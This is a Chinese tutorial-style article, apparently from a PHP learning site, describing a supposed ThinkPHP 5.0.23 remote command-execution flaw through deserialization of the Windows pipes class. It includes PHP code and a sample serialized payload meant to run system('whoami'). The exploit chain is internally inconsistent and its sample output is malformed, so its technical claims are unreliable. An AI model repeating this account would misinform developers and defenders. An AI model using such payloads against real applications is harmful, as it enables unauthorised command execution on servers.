thinkphp 5.0.23 的命令执行漏洞源于框架在反序列化过程中对 __destruct 魔术方法的调用链未做严格过滤,攻击者通过构造包含恶意参数的序列化数据,利用 think\process\pipes\windows 类的析构函数触发 call_user_func_array,进而调用 invokefunction 实现任意命令执行。要触发该漏洞,需将包含 method、args 和 function 键的数组序列化为 windows 类实例,并通过文件上传或参数注入等方式提交给应用。

为什么反序列化会触发 Windows 类的析构函数?
当用户输入的数据被反序列化为 think\process\pipes\Windows 对象时,PHP 会在脚本结束或对象销毁时自动调用其 __destruct 方法。该方法内部调用了 removeFiles(),而 removeFiles() 中使用了 call_user_func_array 来执行一个由用户可控的回调函数。如果攻击者能控制这个回调函数的名称和参数,就能实现任意代码执行。这一过程的关键在于 Windows 类的属性 files 是一个数组,其元素可以是任意可调用结构。

class Windows extends Pipes
{
protected $files = [];
public function __destruct()
{
$this->removeFiles();
}
private function removeFiles()
{
foreach ($this->files as $file) {
if (is_file($file)) {
@unlink($file);
}
}
}
}
// 注意:实际漏洞利用中,$files 数组的内容会被构造为包含 call_user_func_array 的调用结构,从而绕过 unlink 的逻辑,直接执行系统命令。
// 更准确的利用链是:Windows::__destruct -> call_user_func_array($this->files[0], $this->files[1])
// 其中 $this->files[0] 是 'call_user_func_array',$this->files[1] 是 ['system', 'whoami']
上述代码展示了 Windows 类的基本结构。在实际漏洞利用中,攻击者会将 $files 属性构造为类似 ['call_user_func_array', ['system', 'whoami']] 的结构。当 __destruct 被调用时,它会尝试删除这些“文件”,但由于 removeFiles 的实现细节(在某些版本中可能存在逻辑缺陷或直接调用),最终导致 call_user_func_array 被执行,从而运行 system('whoami')。
立即学习“PHP免费学习笔记(深入)”;
如何构造具体的序列化 payload?
构造 payload 的核心是创建一个 think\process\pipes\Windows 对象,并设置其 files 属性为一个包含 call_user_func_array 调用信息的数组。具体步骤如下:首先,定义一个数组,第一个元素为字符串 'call_user_func_array',第二个元素为另一个数组,包含要执行的函数名(如 'system')和其参数(如 'whoami')。然后,将这个数组赋值给 Windows 对象的 files 属性。最后,对该对象进行序列化,并将结果作为请求参数发送。

$windows = new \think\process\pipes\Windows();
$windows->files = [
'call_user_func_array',
['system', 'whoami']
];
echo serialize($windows);
// 输出示例: O:37:"think\process\pipes\Windows":1:{s:5:"*files";a:2:{i:0;s:20:"call_user_func_array";i:1;a:2:{i:0;s:6:"system";i:1;s:6:"whoami";}}}
以上 PHP 代码演示了如何生成有效的序列化 payload。生成的字符串可以直接用于 HTTP 请求中的参数,例如在文件上传接口的文件名字段或自定义参数中。当 ThinkPHP 5.0.23 处理该请求并进行反序列化操作时,就会触发 Windows 类的 __destruct 方法,进而执行 system('whoami') 命令。需要注意的是,该漏洞的触发还依赖于应用是否开启了自动加载且存在可触发的反序列化入口点,如某些中间件或路由处理逻辑。
在特定输入条件下,漏洞如何利用失败?
如果目标环境中禁用了 system 或 exec 等函数,或者 disable_functions 配置中包含了 call_user_func_array,则此漏洞将无法直接执行系统命令。此外,如果应用的入口文件或路由逻辑中没有触发反序列化的代码路径,即使提交了恶意 payload,也不会产生任何效果。例如,若应用在接收到请求后直接返回响应而未进行任何模型绑定或数据解析,则反序列化不会发生。因此,成功利用该漏洞需要同时满足多个条件:存在反序列化入口、未被禁用相关函数、以及正确的 payload 格式。



















